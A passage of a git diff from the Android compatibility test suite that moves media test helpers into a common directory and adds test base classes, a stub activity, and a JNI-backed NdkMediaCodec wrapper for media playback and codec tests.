+    public int getCurrentPosition() {
+        if (mVideoCodecStates == null) {
+            return CodecState.UNINITIALIZED_TIMESTAMP;
+        }
+
+        long positionUs = CodecState.UNINITIALIZED_TIMESTAMP;
+
+        for (CodecState state : mVideoCodecStates.values()) {
+            long trackPositionUs = state.getCurrentPositionUs();
+            if (trackPositionUs > positionUs) {
+                positionUs = trackPositionUs;
+            }
+        }
+
+        if (positionUs == CodecState.UNINITIALIZED_TIMESTAMP) {
+            return CodecState.UNINITIALIZED_TIMESTAMP;
+        }
+        return (int) (positionUs + 500) / 1000;
+    }
+
+    /**
+     * Returns the system time of the latest rendered frame in any of the video codecs.
+     */
+    public long getCurrentRenderedSystemTimeNano() {
+        if (mVideoCodecStates == null) {
+            return 0;
+        }
+
+        long position = 0;
+
+        for (CodecState state : mVideoCodecStates.values()) {
+            long trackPosition = state.getRenderedVideoSystemTimeNano();
+
+            if (trackPosition > position) {
+                position = trackPosition;
+            }
+        }
+        return position;
+    }
+
+    /**
+     * Returns the timestamp of the last written audio sample, in microseconds.
+     */
+    public long getAudioTrackPositionUs() {
+        if (mAudioTrackState == null) {
+            return 0;
+        }
+        return mAudioTrackState.getCurrentPositionUs();
+    }
+
+    /**
+     * Returns the presentation timestamp of the last rendered video frame.
+     *
+     * Note: This assumes there is exactly one video codec running in the player.
+     */
+    public long getVideoTimeUs() {
+        return mVideoCodecStates.get(0).getVideoTimeUs();
+    }
+
+    /**
+     * Returns the ordered list of video frame timestamps rendered in tunnel mode.
+     *
+     * Note: This assumes there is exactly one video codec running in the player.
+     */
+    public ImmutableList<Long> getRenderedVideoFrameTimestampList() {
+        return mVideoCodecStates.get(0).getRenderedVideoFrameTimestampList();
+    }
+
+    /**
+     * Returns the ordered list of system times of rendered video frames in tunnel-mode.
+     *
+     * Note: This assumes there is at most one tunneled mode video codec running in the player.
+     */
+    public ImmutableList<Long> getRenderedVideoFrameSystemTimeList() {
+        if (mVideoCodecStates == null) {
+            return ImmutableList.<Long>of();
+        }
+
+        for (CodecState state : mVideoCodecStates.values()) {
+            ImmutableList<Long> timestamps = state.getRenderedVideoFrameSystemTimeList();
+            if (!timestamps.isEmpty())
+                return timestamps;
+        }
+        return ImmutableList.<Long>of();
+    }
+
+    /**
+     * When the player is on stand-by, tries to queue one frame worth of video per video codec.
+     *
+     * Returns arbitrarily the timestamp of any frame queued this way by one of the video codecs.
+     * Returns null if no video frame were queued.
+     */
+    public Long queueOneVideoFrame() {
+        Log.d(TAG, "queueOneVideoFrame");
+
+        if (mVideoCodecStates == null || !(mState == STATE_PLAYING || mState == STATE_PAUSED)) {
+            return null;
+        }
+
+        Long result = null;
+        for (CodecState state : mVideoCodecStates.values()) {
+            Long timestamp = state.doSomeWork(true /* mustWait */);
+            if (timestamp != null) {
+                result = timestamp;
+            }
+        }
+        return result;
+    }
+
+    /**
+     * Resume playback when paused.
+     */
+    public void resume() {
+        Log.d(TAG, "resume");
+        if (mAudioTrackState == null || mState != STATE_PAUSED) {
+            return;
+        }
+        mAudioTrackState.playAudioTrack();
+        mState = STATE_PLAYING;
+    }
+
+    /**
+     * Configure video peek for the video codecs attached to the player.
+     */
+    public void setVideoPeek(boolean enable) {
+        Log.d(TAG, "setVideoPeek");
+        if (mVideoCodecStates == null) {
+            return;
+        }
+
+        for (CodecState state: mVideoCodecStates.values()) {
+            state.setVideoPeek(enable);
+        }
+    }
+
+    public AudioTimestamp getTimestamp() {
+        if (mAudioCodecStates == null) {
+            return null;
+        }
+
+        AudioTimestamp timestamp = new AudioTimestamp();
+        if (mAudioCodecStates.size() != 0) {
+            timestamp =
+                    mAudioCodecStates.entrySet().iterator().next().getValue().getTimestamp();
+        }
+        return timestamp;
+    }
+
+    /** Queries the attached video codecs for video peek ready signals.
+     *
+     * Returns true if any of the video codecs have video peek ready.
+     * Returns false otherwise.
+     */
+    public boolean isFirstTunnelFrameReady() {
+        Log.d(TAG, "firstTunnelFrameReady");
+        if (mVideoCodecStates == null) {
+            return false;
+        }
+
+        for (CodecState state : mVideoCodecStates.values()) {
+            if (state.isFirstTunnelFrameReady()) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /** Returns the number of frames that have been sent down to the HAL. */
+    public int getAudioFramesWritten() {
+        if (mAudioCodecStates == null) {
+            return -1;
+        }
+        return mAudioCodecStates.entrySet().iterator().next().getValue().getFramesWritten();
+    }
+
+    public void stopWritingToAudioTrack(boolean stopWriting) {
+        for (CodecState state : mAudioCodecStates.values()) {
+            state.stopWritingToAudioTrack(stopWriting);
+        }
+    }
+
+    /** Configure underrun simulation on audio codecs. */
+    public void simulateAudioUnderrun(boolean enabled) {
+        for (CodecState state: mAudioCodecStates.values()) {
+            state.simulateUnderrun(enabled);
+        }
+    }
+
+    /** Configure an offset (in ms) to audio content to simulate track desynchronization. */
+    public void setAudioTrackOffsetMs(int audioOffsetMs) {
+        if (mAudioTrackState != null) {
+            mAudioTrackState.setAudioOffsetMs(audioOffsetMs);
+        }
+    }
+
+    /** Returns the underlying {@code AudioTrack}, if any. */
+    public AudioTrack getAudioTrack() {
+        if (mAudioTrackState != null) {
+            return mAudioTrackState.getAudioTrack();
+        }
+        return null;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecWrapper.java b/tests/tests/media/common/src/android/media/cts/MediaCodecWrapper.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/MediaCodecWrapper.java
rename to tests/tests/media/common/src/android/media/cts/MediaCodecWrapper.java
diff --git a/tests/tests/media/src/android/media/cts/MediaHeavyPresubmitTest.java b/tests/tests/media/common/src/android/media/cts/MediaHeavyPresubmitTest.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/MediaHeavyPresubmitTest.java
rename to tests/tests/media/common/src/android/media/cts/MediaHeavyPresubmitTest.java
diff --git a/tests/tests/media/common/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/common/src/android/media/cts/MediaPlayerTestBase.java
new file mode 100644
index 0000000..0d247fa
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/MediaPlayerTestBase.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.media.MediaPlayer;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.ConditionVariable;
+import android.os.ParcelFileDescriptor;
+import android.os.PersistableBundle;
+
+import androidx.annotation.CallSuper;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.HttpCookie;
+import java.util.List;
+import java.util.logging.Logger;
+import java.util.Map;
+import java.util.Set;
+
+import org.junit.After;
+import org.junit.Before;
+
+/**
+ * Base class for tests which use MediaPlayer to play audio or video.
+ */
+public class MediaPlayerTestBase extends MediaTestBase {
+    private static final Logger LOG = Logger.getLogger(MediaPlayerTestBase.class.getName());
+
+    protected Monitor mOnVideoSizeChangedCalled = new Monitor();
+    protected Monitor mOnVideoRenderingStartCalled = new Monitor();
+    protected Monitor mOnBufferingUpdateCalled = new Monitor();
+    protected Monitor mOnPrepareCalled = new Monitor();
+    protected Monitor mOnSeekCompleteCalled = new Monitor();
+    protected Monitor mOnCompletionCalled = new Monitor();
+    protected Monitor mOnInfoCalled = new Monitor();
+    protected Monitor mOnErrorCalled = new Monitor();
+
+    protected MediaPlayer mMediaPlayer = null;
+    protected MediaPlayer mMediaPlayer2 = null;
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+        runOnUiThread(() -> {
+            mMediaPlayer = new MediaPlayer();
+            mMediaPlayer2 = new MediaPlayer();
+        });
+    }
+    @After
+    @Override
+    public void tearDown() {
+        if (mMediaPlayer != null) {
+            mMediaPlayer.release();
+            mMediaPlayer = null;
+        }
+        if (mMediaPlayer2 != null) {
+            mMediaPlayer2.release();
+            mMediaPlayer2 = null;
+        }
+        super.tearDown();
+    }
+
+    protected void runOnUiThread(Runnable runnable) throws Throwable {
+        Throwable[] throwableHolder = new Throwable[1];
+        getInstrumentation().runOnMainSync(() -> {
+            try {
+                runnable.run();
+            } catch (Throwable throwable) {
+                throwableHolder[0] = throwable;
+            }
+        });
+        if (throwableHolder[0] != null) {
+            throw throwableHolder[0];
+        }
+    }
+
+    protected void playLiveVideoTest(String path, int playTime) throws Exception {
+        playVideoWithRetries(path, null, null, playTime);
+    }
+
+    protected void playLiveAudioOnlyTest(String path, int playTime) throws Exception {
+        playVideoWithRetries(path, -1, -1, playTime);
+    }
+
+    protected void playVideoTest(String path, int width, int height) throws Exception {
+        playVideoWithRetries(path, width, height, 0);
+    }
+
+    protected void playVideoWithRetries(String path, Integer width, Integer height, int playTime)
+            throws Exception {
+        boolean playedSuccessfully = false;
+        for (int i = 0; i < STREAM_RETRIES; i++) {
+          try {
+            mMediaPlayer.reset();
+            mMediaPlayer.setDataSource(path);
+            playLoadedVideo(width, height, playTime);
+            playedSuccessfully = true;
+            break;
+          } catch (PrepareFailedException e) {
+            // prepare() can fail because of network issues, so try again
+            LOG.warning("prepare() failed on try " + i + ", trying playback again");
+          }
+        }
+        assertTrue("Stream did not play successfully after all attempts", playedSuccessfully);
+    }
+
+    protected void playLiveVideoTest(
+            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
+            int playTime) throws Exception {
+        playVideoWithRetries(uri, headers, cookies, null /* width */, null /* height */, playTime);
+    }
+
+    protected void playLiveAudioOnlyTest(
+            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
+            int playTime) throws Exception {
+        playVideoWithRetries(uri, headers, cookies, -1 /* width */, -1 /* height */, playTime);
+    }
+
+    protected void playVideoWithRetries(
+            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
+            Integer width, Integer height, int playTime) throws Exception {
+        boolean playedSuccessfully = false;
+        for (int i = 0; i < STREAM_RETRIES; i++) {
+            try {
+                mMediaPlayer.reset();
+                mMediaPlayer.setDataSource(
+                        getInstrumentation().getTargetContext(),
+                        uri,
+                        headers,
+                        cookies);
+                playLoadedVideo(width, height, playTime);
+                playedSuccessfully = true;
+                break;
+            } catch (PrepareFailedException e) {
+                // prepare() can fail because of network issues, so try again
+                // playLoadedVideo already has reset the player so we can try again safely.
+                LOG.warning("prepare() failed on try " + i + ", trying playback again");
+            }
+        }
+        assertTrue("Stream did not play successfully after all attempts", playedSuccessfully);
+    }
+
+    /**
+     * Play a video which has already been loaded with setDataSource().
+     *
+     * @param width width of the video to verify, or null to skip verification
+     * @param height height of the video to verify, or null to skip verification
+     * @param playTime length of time to play video, or 0 to play entire video.
+     * with a non-negative value, this method stops the playback after the length of
+     * time or the duration the video is elapsed. With a value of -1,
+     * this method simply starts the video and returns immediately without
+     * stoping the video playback.
+     */
+    protected void playLoadedVideo(final Integer width, final Integer height, int playTime)
+            throws Exception {
+        final float leftVolume = 0.5f;
+        final float rightVolume = 0.5f;
+
+        boolean audioOnly = (width != null && width == -1) ||
+                (height != null && height == -1);
+
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setOnVideoSizeChangedListener((mp, w, h) -> {
+            if (w == 0 && h == 0) {
+                // A size of 0x0 can be sent initially one time when using NuPlayer.
+                assertFalse(mOnVideoSizeChangedCalled.isSignalled());
+                return;
+            }
+            mOnVideoSizeChangedCalled.signal();
+            if (width != null) {
+                assertEquals(width.intValue(), w);
+            }
+            if (height != null) {
+                assertEquals(height.intValue(), h);
+            }
+        });
+        mMediaPlayer.setOnErrorListener((mp, what, extra) -> {
+            fail("Media player had error " + what + " playing video");
+            return true;
+        });
+        mMediaPlayer.setOnInfoListener((mp, what, extra) -> {
+            if (what == MediaPlayer.MEDIA_INFO_VIDEO_RENDERING_START) {
+                mOnVideoRenderingStartCalled.signal();
+            }
+            return true;
+        });
+        try {
+          mMediaPlayer.prepare();
+        } catch (IOException e) {
+          mMediaPlayer.reset();
+          throw new PrepareFailedException();
+        }
+
+        mMediaPlayer.start();
+        if (!audioOnly) {
+            mOnVideoSizeChangedCalled.waitForSignal();
+            mOnVideoRenderingStartCalled.waitForSignal();
+        }
+        mMediaPlayer.setVolume(leftVolume, rightVolume);
+
+        // waiting to complete
+        if (playTime == -1) {
+            return;
+        } else if (playTime == 0) {
+            while (mMediaPlayer.isPlaying()) {
+                Thread.sleep(SLEEP_TIME);
+            }
+        } else {
+            Thread.sleep(playTime);
+        }
+
+        // validate a few MediaMetrics.
+        PersistableBundle metrics = mMediaPlayer.getMetrics();
+        if (metrics == null) {
+            fail("MediaPlayer.getMetrics() returned null metrics");
+        } else if (metrics.isEmpty()) {
+            fail("MediaPlayer.getMetrics() returned empty metrics");
+        } else {
+
+            int size = metrics.size();
+            Set<String> keys = metrics.keySet();
+
+            if (keys == null) {
+                fail("MediaMetricsSet returned no keys");
+            } else if (keys.size() != size) {
+                fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
+            }
+
+            // we played something; so one of these should be non-null
+            String vmime = metrics.getString(MediaPlayer.MetricsConstants.MIME_TYPE_VIDEO, null);
+            String amime = metrics.getString(MediaPlayer.MetricsConstants.MIME_TYPE_AUDIO, null);
+            if (vmime == null && amime == null) {
+                fail("getMetrics() returned neither video nor audio mime value");
+            }
+
+            long duration = metrics.getLong(MediaPlayer.MetricsConstants.DURATION, -2);
+            if (duration == -2) {
+                fail("getMetrics() didn't return a duration");
+            }
+            long playing = metrics.getLong(MediaPlayer.MetricsConstants.PLAYING, -2);
+            if (playing == -2) {
+                fail("getMetrics() didn't return a playing time");
+            }
+            if (!keys.contains(MediaPlayer.MetricsConstants.PLAYING)) {
+                fail("MediaMetricsSet.keys() missing: " + MediaPlayer.MetricsConstants.PLAYING);
+            }
+        }
+
+        mMediaPlayer.stop();
+    }
+
+    private static class PrepareFailedException extends Exception {}
+
+    protected void setOnErrorListener() {
+        mMediaPlayer.setOnErrorListener((mp, what, extra) -> {
+            mOnErrorCalled.signal();
+            return false;
+        });
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaProjectionActivity.java b/tests/tests/media/common/src/android/media/cts/MediaProjectionActivity.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/MediaProjectionActivity.java
rename to tests/tests/media/common/src/android/media/cts/MediaProjectionActivity.java
diff --git a/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java b/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java
new file mode 100644
index 0000000..541c68f
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.media.cts.R;
+import android.os.Build;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+import android.view.Window;
+import android.view.WindowInsets;
+import android.view.WindowInsetsController;
+import android.view.WindowManager;
+
+import androidx.test.filters.SdkSuppress;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+public class MediaStubActivity extends Activity {
+    private static final String TAG = "MediaStubActivity";
+    private SurfaceHolder mHolder;
+    private SurfaceHolder mHolder2;
+
+    public static final String INTENT_EXTRA_NO_TITLE = "NoTitle";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
+            Intent intent = getIntent();
+            if (intent.getBooleanExtra(INTENT_EXTRA_NO_TITLE, false)) {
+                hideTitle();
+            }
+        }
+        setTurnScreenOn(true);
+        setShowWhenLocked(true);
+
+        setContentView(R.layout.mediaplayer);
+
+        SurfaceView surfaceV = (SurfaceView)findViewById(R.id.surface);
+        mHolder = surfaceV.getHolder();
+
+        SurfaceView surfaceV2 = (SurfaceView)findViewById(R.id.surface2);
+        mHolder2 = surfaceV2.getHolder();
+    }
+
+    @Override
+    protected void onResume() {
+        Log.i(TAG, "onResume");
+        super.onResume();
+    }
+
+    @Override
+    protected void onPause() {
+        Log.i(TAG, "onPause");
+        super.onPause();
+    }
+    public SurfaceHolder getSurfaceHolder() {
+        return mHolder;
+    }
+
+    public SurfaceHolder getSurfaceHolder2() {
+        return mHolder2;
+    }
+
+    /** Note: Must be called from the thread used to create this activity. */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    public void hideSystemBars() {
+        var surfaceV = (SurfaceView)findViewById(R.id.surface);
+        WindowInsetsController windowInsetsController = surfaceV.getWindowInsetsController();
+        if (windowInsetsController == null) {
+            return;
+        }
+        // Configure the behavior of the hidden system bars
+        windowInsetsController.setSystemBarsBehavior(
+                WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE);
+        // Hide both the status bar and the navigation bar
+        windowInsetsController.hide(WindowInsets.Type.systemBars());
+    }
+
+    /** Note: Must be called before {@code setContentView}. */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    private void hideTitle() {
+        getWindow().requestFeature(Window.FEATURE_NO_TITLE);
+    }
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaStubActivity2.java b/tests/tests/media/common/src/android/media/cts/MediaStubActivity2.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/MediaStubActivity2.java
rename to tests/tests/media/common/src/android/media/cts/MediaStubActivity2.java
diff --git a/tests/tests/media/common/src/android/media/cts/MediaTestBase.java b/tests/tests/media/common/src/android/media/cts/MediaTestBase.java
new file mode 100644
index 0000000..9f98508
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/MediaTestBase.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.media.MediaPlayer;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.ConditionVariable;
+import android.os.ParcelFileDescriptor;
+import android.os.PersistableBundle;
+
+import androidx.annotation.CallSuper;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.HttpCookie;
+import java.util.List;
+import java.util.logging.Logger;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Base class for tests which use MediaPlayer to play audio or video.
+ */
+public class MediaTestBase {
+    private static final Logger LOG = Logger.getLogger(MediaTestBase.class.getName());
+
+    protected static final int SLEEP_TIME = 1000;
+    protected static final int LONG_SLEEP_TIME = 6000;
+    protected static final int STREAM_RETRIES = 20;
+    protected static boolean sUseScaleToFitMode = false;
+
+    protected Context mContext;
+
+    protected ActivityScenario<MediaStubActivity> mActivityScenario;
+    protected MediaStubActivity mActivity;
+
+    @CallSuper
+    protected void setUp() throws Throwable {
+        mActivityScenario = ActivityScenario.launch(MediaStubActivity.class);
+        ConditionVariable activityReferenceObtained = new ConditionVariable();
+        mActivityScenario.onActivity(activity -> {
+            mActivity = activity;
+            activityReferenceObtained.open();
+        });
+        activityReferenceObtained.block(/* timeoutMs= */ 10000);
+        assertNotNull("Failed to acquire activity reference.", mActivity);
+
+        mContext = getInstrumentation().getTargetContext();
+        getInstrumentation().waitForIdleSync();
+    }
+
+    @CallSuper
+    protected void tearDown() {
+        mActivity = null;
+    }
+
+    protected Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
+    protected MediaStubActivity getActivity() {
+        return mActivity;
+    }
+
+    public boolean isTv() {
+        PackageManager pm = getInstrumentation().getTargetContext().getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+                && pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
+    public boolean checkTv() {
+        return MediaUtils.check(isTv(), "not a TV");
+    }
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaTimeProvider.java b/tests/tests/media/common/src/android/media/cts/MediaTimeProvider.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/MediaTimeProvider.java
rename to tests/tests/media/common/src/android/media/cts/MediaTimeProvider.java
diff --git a/tests/tests/media/src/android/media/cts/NdkInputSurface.java b/tests/tests/media/common/src/android/media/cts/NdkInputSurface.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/NdkInputSurface.java
rename to tests/tests/media/common/src/android/media/cts/NdkInputSurface.java
diff --git a/tests/tests/media/common/src/android/media/cts/NdkMediaCodec.java b/tests/tests/media/common/src/android/media/cts/NdkMediaCodec.java
new file mode 100644
index 0000000..b110c59
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/NdkMediaCodec.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodec.Callback;
+import android.media.MediaFormat;
+import android.os.Build;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.Surface;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import java.nio.ByteBuffer;
+
+public class NdkMediaCodec implements MediaCodecWrapper {
+
+    private static final String CSD_0 = "csd-0";
+    private static final String CSD_1 = "csd-1";
+    private static final String CSD_2 = "csd-2";
+    private long mNdkMediaCodec;
+    private final String mName;
+
+    static {
+        Log.i("@@@", "before loadlibrary");
+        System.loadLibrary("ctsmediacommon_jni");
+        Log.i("@@@", "after loadlibrary");
+    }
+
+    private static native long AMediaCodecCreateCodecByName(String name);
+    private static native boolean AMediaCodecDelete(long ndkMediaCodec);
+    private static native boolean AMediaCodecStart(long ndkMediaCodec);
+    private static native boolean AMediaCodecStop(long ndkMediaCodec);
+    private static native String AMediaCodecGetOutputFormatString(long ndkMediaCodec);
+    private static native boolean AMediaCodecSetInputSurface(long ndkMediaCodec, Surface surface);
+    private static native boolean AMediaCodecSetNativeInputSurface(long ndkMediaCodec, long aNativeWindow);
+    private static native long AMediaCodecCreateInputSurface(long ndkMediaCodec);
+    private static native long AMediaCodecCreatePersistentInputSurface();
+    private static native boolean AMediaCodecSignalEndOfInputStream(long ndkMediaCodec);
+    private static native boolean AMediaCodecReleaseOutputBuffer(long ndkMediaCodec, int index, boolean render);
+    private static native ByteBuffer AMediaCodecGetOutputBuffer(long ndkMediaCodec, int index);
+    private static native long[] AMediaCodecDequeueOutputBuffer(long ndkMediaCodec, long timeoutUs);
+    private static native ByteBuffer AMediaCodecGetInputBuffer(long ndkMediaCodec, int index);
+    private static native int AMediaCodecDequeueInputBuffer(long ndkMediaCodec, long timeoutUs);
+    private static native boolean AMediaCodecSetParameter(long ndkMediaCodec, String key, int value);
+
+    private static native boolean AMediaCodecConfigure(
+            long ndkMediaCodec,
+            String mime,
+            int width,
+            int height,
+            int colorFormat,
+            int bitRate,
+            int frameRate,
+            int iFrameInterval,
+            ByteBuffer csd0,
+            ByteBuffer csd1,
+            int flags,
+            int lowLatency,
+            Surface surface,
+            int range,
+            int standard,
+            int transfer);
+
+    private static native boolean AMediaCodecQueueInputBuffer(
+            long ndkMediaCodec,
+            int index,
+            int offset,
+            int size,
+            long presentationTimeUs,
+            int flags);
+
+    public NdkMediaCodec(String name) {
+        mName = name;
+        mNdkMediaCodec = AMediaCodecCreateCodecByName(name);
+    }
+
+    @Override
+    protected void finalize() throws Throwable {
+        AMediaCodecDelete(mNdkMediaCodec);
+    }
+
+    @Override
+    public void release() {
+        AMediaCodecDelete(mNdkMediaCodec);
+        mNdkMediaCodec = 0;
+    }
+
+    @Override
+    public void start() {
+        AMediaCodecStart(mNdkMediaCodec);
+    }
+
+    @Override
+    public void stop() {
+        AMediaCodecStop(mNdkMediaCodec);
+    }
+
+    @Override
+    public void configure(MediaFormat format, int flags) {
+        configure(format, flags, null /* surface */);
+    }
+
+    @Override
+    public void configure(MediaFormat format, int flags, Surface surface) {
+
+        int width = format.getInteger(MediaFormat.KEY_WIDTH, -1);
+        int height = format.getInteger(MediaFormat.KEY_HEIGHT, -1);
+        int colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT, -1);
+        int bitRate = format.getInteger(MediaFormat.KEY_BIT_RATE, -1);
+        int frameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE, -1);
+        int iFrameInterval = format.getInteger(MediaFormat.KEY_I_FRAME_INTERVAL, -1);
+        int lowLatency = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R) ?
+                format.getInteger(MediaFormat.KEY_LOW_LATENCY, -1) : -1;
+        int range = format.getInteger(MediaFormat.KEY_COLOR_RANGE, -1);
+        int standard = format.getInteger(MediaFormat.KEY_COLOR_STANDARD, -1);
+        int transfer = format.getInteger(MediaFormat.KEY_COLOR_TRANSFER, -1);
+
+        ByteBuffer csd0BufCopy = null;
+        if (format.containsKey(CSD_0)) {
+            ByteBuffer csd0BufOld = format.getByteBuffer(CSD_0);
+            csd0BufCopy = ByteBuffer.allocateDirect(csd0BufOld.remaining());
+            csd0BufCopy.put(csd0BufOld);
+            csd0BufCopy.position(0);
+        }
+
+        ByteBuffer csd1BufCopy = null;
+        if (format.containsKey(CSD_1)) {
+            ByteBuffer csd1BufOld = format.getByteBuffer(CSD_1);
+            csd1BufCopy = ByteBuffer.allocateDirect(csd1BufOld.remaining());
+            csd1BufCopy.put(csd1BufOld);
+            csd1BufCopy.position(0);
+        }
+
+        // fail loudly so the test can be properly extended.
+        if (format.containsKey(CSD_2)) {
+            throw new UnsupportedOperationException("test error: does not handle csd-2");
+        }
+
+        AMediaCodecConfigure(
+                mNdkMediaCodec,
+                format.getString(MediaFormat.KEY_MIME),
+                width,
+                height,
+                colorFormat,
+                bitRate,
+                frameRate,
+                iFrameInterval ,
+                csd0BufCopy,
+                csd1BufCopy,
+                flags,
+                lowLatency,
+                surface,
+                range,
+                standard,
+                transfer);
+    }
+
+    @Override
+    public void setInputSurface(InputSurfaceInterface surface) {
+        surface.configure(this);
+    }
+
+    public void setInputSurface(Surface surface) {
+        AMediaCodecSetInputSurface(mNdkMediaCodec, surface);
+    }
+
+    public void setInputSurface(long aNativeWindow) {
+        AMediaCodecSetNativeInputSurface(mNdkMediaCodec, aNativeWindow);
+    }
+
+    @Override
+    public InputSurfaceInterface createInputSurface() {
+        return new NdkInputSurface(AMediaCodecCreateInputSurface(mNdkMediaCodec));
+    }
+
+    public static InputSurfaceInterface createPersistentInputSurface() {
+        return new NdkInputSurface(AMediaCodecCreatePersistentInputSurface());
+    }
+
+    @Override
+    public int dequeueOutputBuffer(BufferInfo info, long timeoutUs) {
+        long[] ret = AMediaCodecDequeueOutputBuffer(mNdkMediaCodec, timeoutUs);
+        if (ret[0] >= 0) {
+            info.offset = (int)ret[1];
+            info.size = (int)ret[2];
+            info.presentationTimeUs = ret[3];
+            info.flags = (int)ret[4];
+        }
+        return (int)ret[0];
+    }
+
+    @Override
+    public ByteBuffer getOutputBuffer(int index) {
+        return AMediaCodecGetOutputBuffer(mNdkMediaCodec, index);
+    }
+
+    @Override
+    public void releaseOutputBuffer(int index, boolean render) {
